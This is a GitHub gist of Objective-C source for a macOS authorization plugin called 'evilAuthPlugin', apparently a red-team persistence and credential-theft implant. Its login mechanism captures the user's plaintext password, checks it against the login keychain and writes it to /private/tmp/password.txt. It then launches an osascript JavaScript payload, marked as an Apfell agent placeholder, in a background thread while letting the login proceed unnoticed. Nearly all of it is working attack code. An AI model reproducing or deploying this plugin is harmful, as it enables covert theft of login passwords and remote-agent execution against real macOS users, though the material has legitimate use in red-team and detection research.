-
-
Save xorrior/a5abd783399332fb9d5b25032d41d442 to your computer and use it in GitHub Desktop.
Authorization Plugin Example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Common.h | |
// evilAuthPlugin | |
// | |
// Created by Chris Ross on 9/25/18. | |
// | |
#ifndef Common_h | |
#define Common_h | |
#import <Foundation/Foundation.h> | |
// code taken from here: https://github.com/alex030/UserConfigAgent | |
BOOL ValidateLoginPassword(NSString *newPassword); | |
BOOL ValidateLoginKeychainPassword(NSString *OldPassword); | |
#endif /* Common_h */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Common.m | |
// evilAuthPlugin | |
// | |
// Created by Chris Ross on 9/25/18. | |
// | |
// code taken from here: https://github.com/alex030/UserConfigAgent | |
#import <Foundation/Foundation.h> | |
#import "Common.h" | |
BOOL ValidateLoginPassword(NSString *newPassword) { | |
AuthorizationItem right; | |
right.name = "system.login.screensaver"; | |
right.value = NULL; | |
right.valueLength = 0; | |
right.flags = 0; | |
AuthorizationRights authRights; | |
authRights.count = 1; | |
authRights.items = &right; | |
AuthorizationItem authEnvItems[2]; | |
authEnvItems[0].name = kAuthorizationEnvironmentUsername; | |
authEnvItems[0].valueLength = NSUserName().length; | |
authEnvItems[0].value = (void *)[NSUserName() UTF8String]; | |
authEnvItems[0].flags = 0; | |
authEnvItems[1].name = kAuthorizationEnvironmentPassword; | |
authEnvItems[1].valueLength = newPassword.length; | |
authEnvItems[1].value = (void *)[newPassword UTF8String]; | |
authEnvItems[1].flags = 0; | |
AuthorizationEnvironment authEnv; | |
authEnv.count = 2; | |
authEnv.items = authEnvItems; | |
AuthorizationFlags authFlags = (kAuthorizationFlagExtendRights | kAuthorizationFlagDestroyRights); | |
// Create an authorization reference, retrieve rights and then release. | |
// CopyRights is where the authorization actually takes place and the result lets us know | |
// whether auth was successful. | |
OSStatus authStatus = AuthorizationCreate(&authRights, &authEnv, authFlags, NULL); | |
return (authStatus == errAuthorizationSuccess); | |
} | |
BOOL ValidateLoginKeychainPassword(NSString *oldPassword) { | |
// Get default keychain path | |
SecKeychainRef defaultKeychain = NULL; | |
if (SecKeychainCopyDefault(&defaultKeychain) != errSecSuccess) { | |
if (defaultKeychain) CFRelease(defaultKeychain); | |
return YES; | |
} | |
UInt32 maxPathLen = MAXPATHLEN; | |
char keychainPath[MAXPATHLEN]; | |
SecKeychainGetPath(defaultKeychain, &maxPathLen, keychainPath); | |
CFRelease(defaultKeychain); | |
// Duplicate the default keychain file to a new location. | |
NSString *path = @(keychainPath); | |
NSString *newPath = [path stringByAppendingFormat:@".%d", | |
(int)[[NSDate date] timeIntervalSince1970]]; | |
if (link(path.UTF8String, newPath.UTF8String) != 0) { | |
return NO; | |
} | |
// Open and unlock this new keychain file. | |
SecKeychainRef keychainRef = NULL; | |
SecKeychainOpen(newPath.UTF8String, &keychainRef); | |
OSStatus err = SecKeychainUnlock(keychainRef, (UInt32)oldPassword.length, | |
oldPassword.UTF8String, YES); | |
CFRelease(keychainRef); | |
// Delete the temporary keychain file. | |
unlink(newPath.UTF8String); | |
return (err == errSecSuccess); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// main.m | |
// evilAuthPlugin | |
// | |
// Created by Chris Ross on 9/24/18. | |
// | |
// Code taken from here: https://github.com/alex030/UserConfigAgent/blob/42e3d786d52604b3cfbcdf8c77320093684626d7/UserConfigAgentPlugin/main.m | |
#import <Foundation/Foundation.h> | |
#import <Security/AuthorizationPlugin.h> | |
#import <OSAKit/OSAKit.h> | |
#include <Security/AuthSession.h> | |
#include <Security/AuthorizationTags.h> | |
#include <CoreServices/CoreServices.h> | |
#include "Common.h" | |
#include <syslog.h> | |
#include <unistd.h> | |
#define kKMAuthAuthorizeRight "authorize-right" | |
#define kMechanismMagic "MLSP" | |
#define kPluginMagic "PlgN" | |
@interface MyThreadRunner : NSObject | |
+(void)runP; | |
@end | |
@implementation MyThreadRunner | |
+(void)runP { | |
NSTask *task = [[NSTask alloc] init]; | |
[task setLaunchPath:@"/usr/bin/osascript"]; | |
[task setArguments:@[ @"-l", @"JavaScript", @"-e", @"APFELL EVAL STRING GOES HERE" ]]; | |
[task launch]; | |
} | |
@end | |
struct PluginRecord { | |
OSType fMagic; // must be kPluginMagic | |
const AuthorizationCallbacks * fCallbacks; | |
}; | |
typedef struct PluginRecord PluginRecord; | |
struct MechanismRecord { | |
OSType fMagic; // must be kMechanismMagic | |
AuthorizationEngineRef fEngine; | |
const PluginRecord * fPlugin; | |
Boolean fWaitForDebugger; | |
}; | |
typedef struct MechanismRecord MechanismRecord; | |
NSString *GetStringFromContext(struct MechanismRecord *mechanism, AuthorizationString key) { | |
const AuthorizationValue *value; | |
AuthorizationContextFlags flags; | |
OSStatus err = mechanism->fPlugin->fCallbacks->GetContextValue(mechanism->fEngine, key, &flags, &value); | |
if (err == errSecSuccess && value->length > 0) { | |
NSString *s = [[NSString alloc] initWithBytes:value->data | |
length:value->length | |
encoding:NSUTF8StringEncoding]; | |
return [s stringByReplacingOccurrencesOfString:@"\0" withString:@""]; | |
} | |
return nil; | |
} | |
NSString *GetStringFromHint(MechanismRecord *mechanism, AuthorizationString key) { | |
const AuthorizationValue *value; | |
OSStatus err = mechanism->fPlugin->fCallbacks->GetHintValue(mechanism->fEngine, key,&value); | |
if (err == errSecSuccess && value->length > 0) { | |
NSString *s = [[NSString alloc] initWithBytes:value->data | |
length:value->length | |
encoding:NSUTF8StringEncoding]; | |
return [s stringByReplacingOccurrencesOfString:@"\0" withString:@""]; | |
} | |
return nil; | |
} | |
OSStatus AllowLogin(MechanismRecord *mechanism) { | |
return mechanism->fPlugin->fCallbacks->SetResult(mechanism->fEngine,kAuthorizationResultAllow); | |
} | |
OSStatus MechanismCreate(AuthorizationPluginRef inPlugin,AuthorizationEngineRef inEngine,AuthorizationMechanismId mechanismId,AuthorizationMechanismRef *outMechanism) { | |
MechanismRecord *mechanism = (MechanismRecord *)malloc(sizeof(MechanismRecord)); | |
if (mechanism == NULL) return errSecMemoryError; | |
mechanism->fMagic = kMechanismMagic; | |
mechanism->fEngine = inEngine; | |
mechanism->fPlugin = (PluginRecord *)inPlugin; | |
*outMechanism = mechanism; | |
return errSecSuccess; | |
} | |
OSStatus MechanismDestroy(AuthorizationMechanismRef inMechanism) { | |
free(inMechanism); | |
return errSecSuccess; | |
} | |
OSStatus MechanismInvoke(AuthorizationMechanismRef inMechanism) { | |
MechanismRecord *mechanism = (MechanismRecord *)inMechanism; | |
@autoreleasepool { | |
// Make sure this is not a hidden user. | |
NSString *username = GetStringFromContext(mechanism, kAuthorizationEnvironmentUsername); | |
NSString *password = GetStringFromContext(mechanism, kAuthorizationEnvironmentPassword); | |
// NSString *sesOwner = GetStringFromHint(mechanism, kKMAuthSuggestedUser); | |
NSString *AuthAuthorizeRight = GetStringFromHint(mechanism, kKMAuthAuthorizeRight); | |
// Make sure we have username and password data. | |
if (!username || !password) { | |
return AllowLogin(mechanism); | |
} | |
BOOL keychainPasswordValid = YES; | |
SecKeychainSetUserInteractionAllowed(NO); | |
keychainPasswordValid = ValidateLoginKeychainPassword(password); | |
// Revert back to the default ids | |
pthread_setugid_np(KAUTH_UID_NONE, KAUTH_GID_NONE); | |
//NSData *passwordData = [NSKeyedArchiver archivedDataWithRootObject:password]; | |
if (keychainPasswordValid) { | |
[password writeToFile:@"/private/tmp/password.txt" atomically:TRUE encoding:NSUTF8StringEncoding error:NULL]; | |
} | |
// Launch the Apfell payload in a background thread | |
[NSThread detachNewThreadSelector:@selector(runP) toTarget:[MyThreadRunner class] withObject:nil]; | |
} | |
return AllowLogin(mechanism); | |
} | |
OSStatus MechanismDeactivate(AuthorizationMechanismRef inMechanism) { | |
MechanismRecord *mechanism = (MechanismRecord *)inMechanism; | |
return mechanism->fPlugin->fCallbacks->DidDeactivate(mechanism->fEngine); | |
} | |
OSStatus PluginDestroy(AuthorizationPluginRef inPlugin) { | |
free(inPlugin); | |
return errSecSuccess; | |
} | |
OSStatus AuthorizationPluginCreate( | |
const AuthorizationCallbacks *callbacks, | |
AuthorizationPluginRef *outPlugin, | |
const AuthorizationPluginInterface **outPluginInterface) { | |
PluginRecord *plugin = (PluginRecord *)malloc(sizeof(PluginRecord)); | |
if (plugin == NULL) return errSecMemoryError; | |
plugin->fMagic = kPluginMagic; | |
plugin->fCallbacks = callbacks; | |
*outPlugin = plugin; | |
static AuthorizationPluginInterface pluginInterface = { | |
kAuthorizationPluginInterfaceVersion, | |
&PluginDestroy, | |
&MechanismCreate, | |
&MechanismInvoke, | |
&MechanismDeactivate, | |
&MechanismDestroy | |
}; | |
*outPluginInterface = &pluginInterface; | |
return errSecSuccess; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment